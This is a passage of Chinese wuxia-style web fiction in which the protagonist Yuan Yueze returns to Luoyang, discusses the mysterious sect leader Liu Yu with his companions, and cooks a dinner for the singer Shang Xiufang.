再欲说几句时,察觉元越泽的呼吸已经均匀绵长起来,婠婠气得玉足轻跺,踯躅片刻,飞身挤进元越泽的怀中。
大地为榻,星空为被。
天色大亮。
元越泽睁开双眼。
精神上的疲惫一扫而光。
左右环顾,早就没有了婠婠的倩影。
但她的体温,她的娇躯所散发的淡淡幽香,以至她的如花笑靥,一言一语,却好似依旧鲜明动人地存在于四周的空气中,直渗入元越泽的心灵内。
回想一下,元越泽头有些疼,昨天被大明尊教的消息搞得头昏脑胀,再后来为婠婠抵抗着舍利杂气,弄得他精神上异常疲累,甚至连婠婠什么时候离开的都不知晓。
叫醒彭梁会的众人,这些人睡了几个时辰,体力已经恢复得差不多,在元越泽带领下,一众人等轻装上路,奔向洛阳。
日夜赶路四日,终于于这一日午后回到洛阳。
这一路,元越泽从任媚媚与陈家风处了解了许多眼下彭城,梁都以及沿海的形势。
由于东门正在整修,所以元越泽便带领众人从南门进城,来到城门口,兵卫一见是元越泽,问都没问其他二十几人的来历,便毫不留难地放他们一行人进城。
甫进城门,彭梁会众人顿然眼界大开。一边暗叹元越泽威名,一边观赏起洛阳城来。
只见宽达百步贯通南北两门的大街“天街”在眼前笔直延伸开去,一望无际。街旁遍植樱桃,石榴,榆,柳等各式树木,中为供帝皇出巡的御道,际此夏日炎炎之际,桃红柳绿,景色如画,美不胜收。大道两旁店铺林立,里坊之间,各辟道路,与贯通各大城门的纵横各十街交错,井然有序。
元越泽数日前离开时,洛阳还有些冷清,没从战争气氛中恢复过来。但此时洛阳城中人潮涌涌,车轿川流不息,热闹非常。行人中不少服饰特殊,显然是外地的商旅。
陈家风似是有所感地叹道:“只看眼前的繁荣,谁都感受不到这城市刚刚经历过险恶的战火。”
行人中有许多都在与元越泽点头打招呼,元越泽一一回礼,闻听陈家风的感叹,刚要接话时,不远处跑来一人影。定睛一看,原来是杨公卿头号心腹年青大将麻常。
元越泽摆手打了个招呼,麻常一见元越泽,不由得喜出望外,又见他身边的人全是陌生面孔,当下走到元越泽身边施礼后在他耳边轻嘀咕几句。
元越泽点了点头,对任媚媚等人拱手道:“这位是杨公卿将军手下大将麻常兄弟,就让他带各位去安排好的宅院休息吧,元某还有事,要先告辞了。”
彭梁会众人点头示意。
元越泽转身向城南飞奔而去。
第054章 与美谈心
一路奔行,左拐右拐,元越泽确认没有被人跟踪后,身影没入人烟稀少的平民区一间草屋内。
屋内端坐几人,正在笑语晏晏,不知聊什么聊的那么投机。
“大哥!”
独孤凤如银铃般清脆的声音直传入耳,一道香风直扑入刚刚蹑手蹑脚关好房门的元越泽怀里。
自从独孤阀重回洛阳,在城中心购置了一所大型宅院后,独孤凤就回家居住,元越泽这一趟出门又是近十日,对于独孤凤这等沉迷于热恋中的少女,也称得上‘如隔三秋’了。
元越泽揽着她的小蛮腰,来到圆桌前,与众人点头示意后落座。
桌旁坐着数人,卫贞贞,素素,沈落雁,杨公卿,独孤峰,欧阳希夷。
元越泽润了润喉咙后开口道:“这几日来,可有发生什么大事?”
见元越泽与独孤凤如此亲密,连独孤峰都有些尴尬,轻咳一声后道:“一切照旧,落雁亦稳当被推上城主之位,而且还有个大惊喜。”
元越泽望了一眼微微颌首的沈落雁后道:“大惊喜?”
沈落雁点了点头:“王世充终于把能说的秘密都说了。”
元越泽喜出望外道:“真的吗?如何确认他说的是不是实话?”
欧阳希夷爽朗一笑后道:“公子太过多疑啦,老夫可以保证他说的是实话。”
元越泽挠了挠头道:“也不能怪我,那大明圣尊实在是个让人不得不加倍小心提防的人物。”
随即又好奇问道:“怎么今日只见夷老,而不见王大儒?”
欧阳希夷脸色颇有些尴尬叹道:“王兄不满公子以如此方法得到洛阳实权,加之世充兄又实是败在你手……”
元越泽一家人早就拟定好的计划便是,当王世充失败后,独孤阀捧起杨侗这个傀儡,继而由萧琲这个有血缘关系的长辈出面去劝说杨侗退位好好享受生活,再作出一场‘皇泰主出题,有能者当城主’的大戏,进而将洛阳接手过来。
百姓对谁当城主并无多少意见,只要得民心,体恤百姓的人在上位,根本不会有多大的反对声音。
但少部分的反对者还是有的,比如王通这个当今中原的儒生代表。
元越泽对此毫无办法,只有靠单美仙这等智慧,才华皆高人一等的人去解决此事了。
点了点头后,元越泽笑道:“我亦知此事会惹到许多人不高兴,难道夷老就没有不悦吗?”
欧阳希夷眼中闪过一丝复杂神情道:“老夫更想看看中原大定后会是什么样子,当然,如果能在有生之年看到杨公所展示的那张地图中所有土地都统一,那就真是不枉此生了。”
元越泽摇了摇头道:“统一之路漫长艰辛,谁也不敢保证什么,惟有尽力去作吧。”
欧阳希夷笑道:“其实我与王兄更大的思想分歧在于,老夫更相信你这个人,而不是因为你出身魔门。”
他本就是豪爽之辈,加之出身于江湖,虽与王通,王世充乃多年好友,但想问题,看事情的角度依旧会有所不同。再有单美仙在一旁讲道理,更使欧阳希夷像老年开窍了一般。
杨公卿与独孤峰又开始讲述这十来日内发生的其他事情,大部分都围绕在权利交接这一块儿。
沈落雁几乎没睡过觉,硬是靠着强悍的身体,一边应酬,一边练气习武。
元越泽离开洛阳第三日,‘作弊’的沈落雁力压各方才气纵横的才子俊杰,依靠‘一份完美的答卷’,在杨侗的亲口宣布下,登上洛阳城主之位。
一时间,天下哗然。
这等乱世,洛阳如此战略大城,一个女人坐上城主之位,简直没有比这件事更荒唐的了。
但洛阳掌管军政的杨公卿,张镇周等大将皆全力支持,加上传闻中沈落雁又是元越泽的娇妻,虽然许多官员及百姓都不明白为何前几日还是李密手下的军师,今日怎么就成了洛阳城主,但他们隐约都察觉到元越泽必定是在背后支持她的,或者更确切的说,元越泽才是洛阳真正的主人。
即便元越泽根本没有这种想法,却也改变不了别人的观念。百姓的想法倒还简单,可有些官员那里却是沈落雁及几位心腹大将花费了大把精力才算稳住。许多官员并不服气,但在幕后的单美仙几女帮助下,沈落雁无论文,还是武,皆将所有官员镇服,使得他们再也生不出怀疑之心。
但他们也不是傻子,如再持续闹下去,恐怕官途难保。抛除各方面都不比男人差的沈落雁不说,只说她与元越泽的关系,如这些官员再敢为难下去,那向来行事就不讲理法的元越泽很可能就要动手了。
接下来几日,沈落雁略微地改动了一下现有律法,将赋税再降低,刑法更明确,洛阳便再度现出生机。此事流传甚快,许多附近乡村的百姓在乱世中饱受折磨,都巴不得早日搬入洛阳,享受平静的生活。而那些本是心里有不服气的官员在事实面前也更信服沈落雁了。
待元越泽要细细询问关于王世充交待的消息之时,杨公卿,独孤峰,欧阳希夷已起身告辞。
送走三人,元越泽重新坐下后,还未开口,卫贞贞就讲将王世充交待的全部事情讲了一遍。
听完以后,元越泽皱眉半晌,开口道:“真没想到你们会想到这个办法,这比逼供要强上百倍。”
素素娇笑道:“姐妹们正是想起夫君说过在东平时,王世充曾听青璇妹妹的箫音而入神感慨,便推知其内心定有埋藏许久的悲惨经历,美仙姐在功力尽废的王世充屋前连弹数日筝曲儿,再加上有王通与夷老在一旁相劝,王世充的神智终于崩溃了,否则我们还真不知何时才能从他嘴中套出话来呢。”
元越泽点了点头,随即又将自己这数日来的经历讲给几女听,人一多,自然想问题就要容易和全面一些,远比元越泽当日在水塘边一个人胡思乱想的好。
卫贞贞伸出中指,轻点茶杯,望着茶水泛起的丝丝涟漪道:“夫君得来的消息,真假难辩,但王世充的消息却的确完全可信,他的寿命只剩一年,夷老请求我们让他好好走完最后这段日子,我们也答应了。”
沈落雁亦在一旁附和道:“贞贞姐所言不错。两方消息互补一下,还是可以发现许多问题。王世充交待他是圣使,本来从大明尊教退出后十多年前被大明圣尊强行又拉回教内,授其高深心法,委任其潜伏中原,准备作乱。但又埋伏其他奸细在别的势力中,足可见那圣尊其实对王世充的能力并不完全相信。”
元越泽以第二指节连点太阳穴数下后,直接躺在地席上叹道:“王世充所说的圣尊名叫刘昱,这个名字我怎么觉得很熟悉,却又一时想不起来呢,哎呀,头好痛!”
独孤凤慌忙温柔地为他按摩。
素素耸肩笑道:“夫君本就不爱动脑子,虽然读的书多,但近年来很少再摸书本,一遇到复杂问题,自然会想得头痛。”
元越泽枕着一只胳膊道:“素素是我们家大才女,可有以教我?”
素素脸皮薄,被元越泽赞得俏面微红,嗔道:“人家也才读了一年多的书而已。”
随后又正容道:“南朝宋文帝刘义隆生有十九子,第十一子刘彧最终成为宋明帝。”
元越泽突然坐起身形,大叫道:“我想起来了,刘彧在历史上没什么出名的地方,却有一‘借腹生子’的荒诞之事被后人广为流传。”
略一顿后又道:“刘昱是刘彧的大儿子,是为宋后废帝。”
沈落雁点头道:“刘昱,字德融,小字慧震,南朝宋明帝长子也。生于大明七年正月辛丑,陨于元徽五年七月戊子,昱在东宫,年五六岁时,始就书学,而惰业好嬉戏,主师不能禁。好缘漆账竿,去地丈余,如此者半食久,乃下。史称其‘穷凶极暴,自取灰灭,虽曰罪招,能无伤悼。弃同品庶,顾所不忍。可特追封苍梧郡王。’是个丧国亡家之主。”
元越泽不解道:“圣尊也叫刘昱,会不会只是与宋后废帝同名而已,须知历史上的宋后废帝早就死了一百多年了。”
素素摇头道:“本来姐妹们听到王世充的话后,也是如夫君所想这般,因为王世充所言那圣尊年纪最多不过九十。但今日闻听夫君从武家兄弟那里得来的消息,按其年龄再一推测,真正的刘彧之子,很可能就是那圣尊,而不是史料上所记载的那个昏庸的皇帝。”
元越泽呆头鸟似的望着素素半晌,叹道:“他娘的,如果你们猜测是真的,历史也和我们开了太大的玩笑吧!”
四女头一次听元越泽爆粗口,当下笑得前仰后合。
卫贞贞接口道:“如今这一切都只能是猜测而已。另外从王世充那里得来的两个重要消息,一是关于另一个圣使的,一是关于那圣尊武功的。按照王世充的说法,再结合夫君从武家兄弟那里听来的消息,大明圣尊的存在的确不会被回鹘大明尊教的教众所知,所以我们只要将直属其手下的人查找出来,破坏其颠覆中原的野心即可,王世充并不认识另一个圣使,只知他潜伏在李阀。而关于圣尊武功的消息则是,圣尊与向雨田曾经论过武,似是偷得了一些魔门心法的口诀。圣尊当初为了招揽王世充,传给他的武学就是以魔门心法为基础,将身体死化后练成的《光明经》”
元越泽点了点头,思索片刻后道:“那就是说,我之前误打误撞下答应秀宁去长安作客还是一步好棋,正好趁机好好找出那个圣使。我记起曾经在狂雷身上察觉到魔门的气息,当初还在纳闷为何大明尊教中人会魔门绝学,如今听你一说,倒也有了一丝线索。回鹘大明尊教的镇教宝典《娑布罗干》内含多卷,其中以《光明经》为最,几可媲美十卷合一后的《天魔策》秘不可测,故历代大明尊教中罕有人能够修成,没想到给那神秘的圣尊以歪门邪法悟出《光明经》的奥秘。难怪狂雷那么强悍。”
卫贞贞道:“王世充却要比狂雷差上一些,因为王世充还是血肉之躯,身体并未全部死化,《光明经》亦只是知些皮毛而已。可见将好好的身体弄成死人,真不是哪个人敢去随便尝试的。”
元越泽点了点头。
沈落雁道:“至于那武家兄弟,就按照夫君所讲,将他们治好后安顿下来,偷偷观察吧。”
元越泽点头道:“还有,要好好保护王世充,毕竟圣尊为了保密,难免不会令手下来毁掉他。”
旋即起身道:“落雁辛苦了,回家做一桌美味,犒劳犒劳你吧。”
卫贞贞撅嘴佯装不悦道:“夫君就只顾着你的落雁,姐妹们哪个不辛苦?”
元越泽大笑道:“贞贞居然也成了醋坛子了,我说错了,你们都辛苦了。”
几女随即亦轻笑起来。
回到那熟悉的小宅院,元越泽与仍然在家中忙活的几女打过招呼,就要下厨时,单美仙忙拉住他:“夫君忘了曾说过要亲手为秀芳做顿大餐的事了吗?”
元越泽这才想起尚秀芳以及自己曾保证过的事来,登时笑道:“她去了哪里?这些天忙来忙去,早把说过的话忘了。”
单美仙一愕后笑道:“夫君去救落雁那日,她见洛阳已安定,就回曼清院了。”
元越泽点了点头又道:“那就以后再去看她吧,今日要犒劳你们的。”
单美仙没好气地道:“秀芳明日要离开洛阳了,夫君如不去的话,岂不成了言而无信的人?”
元越泽撇了撇嘴,无力的垂下双肩,嘟囔道:“去就去,天生劳累命,跑来跑去的。”
随后,在单美仙咯咯娇笑声中,元越泽走出家门。
此时太阳快要沉没在西山之下,有些店铺已亮起灯火。
元越泽穿过行人熙攘,热闹非常的街道,来到曼清院门前。
守门两个五大三粗的汉子一见元越泽,立即奉承几句,直接请入楼内。
元越泽已经不是第一次来这里了,但此时这里的主人却非上官龙,而是荣凤祥了。上官龙在身份揭穿后,早被祝玉妍派到别的地方。荣凤祥做为一个极出色的商贾,当初在王世充的支持下,自然接手了这座曼清院。沈落雁上位后,亦没对他为难。
曼清院作为洛阳最豪华的青楼,来到这里的人大多都是一方势力的霸主,富贵子弟,或是享誉江湖的高手豪客。听着楼上楼下管乐丝竹之声不断传来,有的清幽,有的活泼,元越泽一边与周围认识的人打招呼,一边应付着廊道上盛装往来于各个厢房之间花枝招展的美妓俏婢频频送来的媚眼。
在踏上主堂正门的台阶前,一个美婢匆匆地从里面迎了出来,见到元越泽的身影后眼睛一亮,深施一礼后娇滴滴地道:“小姐已恭候公子多时,请公子随小婢来。”
跟着那个俏丽的小婢来到后院,直走想尚秀芳居住的小院,周围又是一番别样风景,清雅幽静。院子里栽了不少绿竹,沿着小石路弯曲行走,绕过竹林,外院的声音被很好的屏蔽,竟然丝毫不能听见外院的杂乱音乐声,和外面想比,这里更像隐于闹事的一方清静出尘之所。
元越泽跟随那俏婢跨上阶梯,隐隐闻听得到楼内传来断断续续的琴音及哀怨缠绵,动人至极的婉转歌声。
“青灯照壁人初睡,冷雨敲窗被未温。怪奴底事倍伤神?半为怜春半恼春。怜春忽至恼忽去,至又无言去不闻。昨宵庭外悲歌发,知是花魂与鸟魂……”
元越泽呆立当场,这不是《葬花吟》吗?怎么尚秀芳也会唱?
旋即明白过来,定是单美仙送她的曲谱。
就在他愣神的档儿,那俏婢已经通知尚秀芳元越泽的到来了。琴音与歌声亦戛然而止。
那婢女为元越泽推门,守在门外,元越泽独自走入房中。
这是一间宽敞的闺房,房中并无豪华奢侈的装饰品,入目可见的只是摆放四周的各种乐器,每件乐器都干干净净不带丝毫灰尘,而且油光磨亮,显然经常被主人使用,而不是搁置一旁。
尚秀芳端坐在茶几旁,动作看起来很是随意与慵懒,却将她那曼妙身姿与诱-人风情尽显无遗。不施脂粉,朴素自然,但仍是美得教人屏息的轮廓,乌黑柔软的秀发宛如清涧幽泉,倾泻而流的秀瀑,自由写意地垂散于香肩粉背。一双乌溜溜,顾盼生辉的翦水双瞳正似笑非笑地盯着元越泽。
元越泽来到茶几前,察觉到尚秀芳似是略有些变化,具体变化在哪,又说不出来,便开口道:“数日来过于繁忙,今日才来见秀芳,请勿见怪。”
尚秀芳轻柔地道:“秀芳哪敢怪罪公子哩,公子忙的都是大事。”
她的声音婉转动听不在话下,最引人处是在语调中透出一种似是看破世情般的洒脱和慵懒的味儿。透过她说话的顿挫和节奏,更令元越泽联想和回味着她刚刚感人的歌声,忧怨中摇曳着落漠与低回的感伤,中间又似蕴含着一丝对事物的期待和欢愉,形成非常独特的神韵。
这简单一句话厉害无比,中间带着丝丝嘲讽与不满,完全与话语的意思相反,尤其是语气重重落在‘大事’二字上,顿时使元越泽心中生出一股厌恶感。
此人说话作事就是太绝,当下亦冷然道:“请你不要误会,元某来这里只因美仙说过欠你一顿饭而已,有不满就直说,何必拐弯抹角对我冷嘲热讽?”
尚秀芳的确对元越泽的迟来有些不满,但话语中除了暗讽外,更多的只是说笑而已,哪会想到他如此不留情面。世上哪个青年男子会对尚秀芳如此说话?尚秀芳从前从没想过会有这样的一个男人,但事实却活生生地摆在眼前。
屋内气氛一时尴尬起来。
尚秀芳有些委屈:不就随意说笑一句嘛,至于这样吗?男人不该让让女人吗?尤其是自己这种集世间万千宠爱于一身的女人。
元越泽闭目深呼了一口气,暗忖自己情绪还是太难控制了,万事随心是个好现象,但正如单美仙告诫他那般,过犹不及,元越泽就是过于随心,才会有今天这种场面。
他刚刚的表现,完全是个不懂事的孩童在撒野。一瞬间,入世这几年的许多场景飘过脑海,元越泽第一次自我反省:过去自己的确随性得过分了,虽一直以‘无视礼法,随心所欲’而自吹自擂,但如今再一细想,却觉得那只是幼稚。尤其是人世间许多礼法的确繁冗,但许多基本礼节却是必须的,那是人与人之间互相尊重的表现。
他终于明白为何单美仙,萧琲那样饱览世情的人最多也只是告诫他一句过犹不及了,因为单美仙二女深深了解元越泽的性子,亦比谁都清楚:真正能改变他的,只有他自己。
心境上猛然间做出突破,元越泽察觉到心灵上无比的舒泰。
尚秀芳瞪大美目,呆呆地望着身前的元越泽,此时的元越泽双眼紧闭,但其身形看在尚秀芳眼中,却逐渐的模糊起来,仿佛就要消失了一样,只教尚秀芳觉得不可思议,于是下意识地举起的宽松的衣袖,将冰肌玉骨,滑如凝脂,白似霜雪般的玉手从中探出,摸上元越泽的胳膊。
被尚秀芳的触摸碰醒,元越泽回过神来,望向尚秀芳,歉然一笑道:“刚刚元某失礼了,真对不住,请秀芳随意责罚。”
万幸的是,元越泽从不顾及什么面子,知错立即就改,倒让尚秀芳有些错愕。
尚秀芳俏脸上飞过两片嫣红,赧然道:“是秀芳不好,忘了公子喜欢直来直去,不过秀芳刚刚也只是在说笑,没有其他意思。”
尴尬的气氛在二人各退一步中消失,尚秀芳这才发现自己的玉手还抓在元越泽胳膊上,轻呼一声,慌乱地缩了回来。
眼见她这般狼狈,元越泽摇头失笑:“秀芳可稍等一下,我这就去动手为你献上一顿大餐。”
尚秀芳瞬间恢复平静,欣然道:“天下盛传公子的手艺比武功还要厉害,今日秀芳就不客气了。”
随后着外面的婢女带领元越泽下去准备菜肴酒品。
两刻钟后,一桌丰盛的筵席摆好,二人对坐在桌前。
待元越泽逐一详细解说后,尚秀芳深吸一口气,秀眸微闭,轻摆螓首叹道:“秀芳在公子家中小住几日,贞贞姐的手艺已可称天下第一了,没想到公子的手艺亦丝毫不差,真的让人难以想像男子竟然也有这般厨艺。”
元越泽为她满上一小杯酒后笑道:“古时就有彭祖,易牙,皆是烹饪大师,也是男人,我又有什么稀奇的。”
对饮一杯后,尚秀芳国色天香的娇靥上飞过两抹红晕,开始逐一品尝起来。片刻后问元越泽道:“刚刚公子好像就要消失了一般,到底发生了什么事情呢?”
元越泽想到她是指自己心境突破一瞬间的事情,当下为她细细解说。
尚秀芳似懂非懂地点了点头,随后道:“美仙阿姨前几日亦助秀芳洗髓伐毛,传了一套口诀与剑法呢。”
元越泽一愕,明白了为何刚刚进屋时会察觉到尚秀芳有些变化了,那是祛除体内表层杂质,经脉拓展后的自然变化。不过更让元越泽吃惊的是,单美仙竟然会动用奇力助尚秀芳洗髓伐毛。
元越泽笑道:“秀芳如果舞刀弄剑,那还不知是何等风情呢。”
尚秀芳因饮酒而现出红晕,娇艳欲滴的玉容上现出腼腆之色,低声道:“秀芳本不喜好这些,但美仙阿姨所言有理,这乱世中保护自己的最好方法不是靠别人,而是靠自己,所以秀芳也打算学习一些武艺。”
元越泽点头道:“说得也对,秀芳该是只属于音乐。”
尚秀芳眼中讶色一闪即逝,再享用佳肴几口,像是自言自语地道:“自懂事以来,秀芳立下决心把自己献予歌乐,因为对我来说,那是人世间所能寻到最有灵性的东西,其他一切都不放在心上。不怕公子笑话,秀芳一直以为自己的乐艺是天下第一的,可真正再见到美仙阿姨后,秀芳才知自己竟是井底之蛙,美仙阿姨的筝艺才是毫无疑问的天下第一。”
元越泽道:“井底之蛙一说未免夸张,你们的人生经历不同,曲艺中自然会将自己的感悟描绘在其中,所以有差别也难免。”
尚秀芳淡淡一笑道:“公子又如何评论乐艺修养呢?”
元越泽道:“古今之成大事业,大学问者,必经过三种之境界:‘昨夜西风凋碧树。独上高楼,望尽天涯路’,此第一种境界。‘衣带渐宽终不悔,为伊消得人憔悴’,此第二种境界。‘众里寻他千百度,蓦然回首,那人却在,灯火阑珊处’,此第三种境界。乐艺亦如武道,讲究的总是那一句‘万法归宗’。”
尚秀芳天资聪颖,思索半晌后,欣喜道:“这话说得可真透彻哩,公子才学真是非同小可。”
元越泽一愣,随即笑道:“这又不是我说的,是一个叫王国维的人所概括的。”
尚秀芳眼中闪过一丝狡黠,叹道:“公子以为夫妻间互相保留些秘密,保持些神秘感不是更好吗?”
元越泽被她这突如其来的一问搞得没反应过来,片刻后道:“世间每个家庭中都各有各的‘道’吧,神秘感对于某些男女来说可能是必要的,但元某心中的理想夫妻关系,却是互相间绝对信任,一向坦诚的。不过秀芳为何突然有此奇怪的问题?”
尚秀芳娇笑道:“公子勿怪,因美仙阿姨送了许多乐谱给秀芳,秀芳好奇之下,一再盘问,美仙阿姨就把公子的身世说给了秀芳听。”
元越泽愕然,呆呆地望了尚秀芳许久后道:“最初进来时,听到秀芳那曲《葬花吟》我就知是美仙送你的曲谱,没想到她竟然会把我的一切事情都告诉你。”
尚秀芳挤出一丝苦涩的笑意,随后语带娇嗔道:“如不是亲眼见到事实,实难叫秀芳相信哩,因为公子的来历听起来简直比梦还要不真实,秀芳足足数日没睡过一个好觉。”
看她的表情,似是对自己的好奇心很是后悔,这种事对她神经上的冲击太大了。
元越泽哈哈一笑后举杯道:“那我就自罚一杯以谢罪了。”
尚秀芳深望元越泽一眼后,露出一个无比娇俏天真的笑容,轻声道:“公子其实与这时代的男人完全不同,你知最大的一点是什么吗?”
元越泽不明所以地摇了摇头。
尚秀芳如葱玉指掩上樱唇,轻笑一声后,语调转为苍凉,似是颇有感触地叹道:“是公子对待女子的态度吧。秀芳见过太多的世人,十个已为人妇的女人中有十个放弃了自己本来的追求,甚至彻底放弃自我。但公子家中众位夫人,看在秀芳眼里,每一个都有着完全的自由。”
元越泽道:“这完全是我的个人主张与习惯而已,出嫁从夫,相夫教子那一套,我是完全不屑的。”
尚秀芳眼中闪过欣赏的异彩,轻轻赞了一声后举杯示意。
再干一杯后,元越泽好奇道:“秀芳读了千年后的书籍,有何感想?”
尚秀芳歪着脑袋道:“秀芳昨日读到一书中写有长长的火车,速度极快,当时便在想,它趴着都跑地那么快,如果站起来,那该跑得多快?”
“噗!”
元越泽一口酒呛了出来,干咳几口后,见尚秀芳强忍笑意,便大笑道:“那你可知后世还有一种机器,就是把牛羊从一个入口送进去,另外一个出口处就会出现制作好的烤肉。”
尚秀芳一双乌油油明亮如宝石的眸子好奇得盯着元越泽,等他继续说下去。
元越泽被她风采迷得一失神,随后道:“秀芳会否在想,如果烤肉不合口味,再送回出口,那么入口处就会不会跑出活蹦乱跳的牛羊?”
尚秀芳微一错愕,旋即明白过来,如刀削般的双肩轻抖,咯咯掩口娇笑不停。
半晌后,尚秀芳平静下来,赧然道:“秀芳失态了。”
见元越泽摇了摇头,尚秀芳又道:“感谢公子今日的美味菜肴,明日秀芳会离开洛阳,闻听公子半年后会到长安做客,秦王亦邀请了秀芳,希望可在那里再见公子。”
元越泽点了点头,见酒菜已光,时间亦不早,起身告辞:“秀芳一路多加小心,如今乱世,人人朝不保夕。你虽有身份,却也难敌心思险恶之人。危急时刻,报出我的名号,想来该可震慑住一些小角色的。”
见元越泽语毕径直离去,尚秀芳平静的玉容上出现茫然之色,眼中闪过一丝迷乱。元越泽的身影已渐渐消失在长廊的劲头,尚秀芳幽幽地叹了口气,转身走入房中。
吹着凉爽的夜风,元越泽步上新中桥。
俯首河面波光粼粼,再仰望垂挂天幕的一轮弯月,元越泽只觉心中一片惬意,迎风而立,闭上双眼,沉醉其中。
“元兄好兴致。”
一个沉雄悦耳的声音不知趣地在身后响起。